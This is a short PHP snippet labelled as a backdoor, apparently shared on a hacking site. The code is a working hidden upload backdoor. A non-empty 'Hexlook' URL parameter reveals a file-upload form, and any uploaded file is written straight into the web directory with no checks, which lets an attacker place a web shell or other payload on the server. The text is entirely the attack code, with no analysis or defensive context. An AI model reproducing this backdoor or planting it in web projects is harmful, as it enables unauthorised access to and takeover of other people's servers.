Backdoor | PCA | HEXLOOK

<?php if($_GET['Hexlook'] != ""){ if(!isset($_POST['upload'])){ echo '<form enctype="multipart/form-data" method="POST" action=""><br><b>File:</b><input type="file" name="file"> <input type="submit" value="Upload" name="upload"></form>'; } else{ $temporaney = $_FILES['file']['tmp_name']; $upload = $_FILES['file']['name']; if(move_uploaded_file($temporaney,$upload)) echo '<font color="green">File uppato!</font>'; else echo '<font color="red">File non uppato!</font>'; }}?>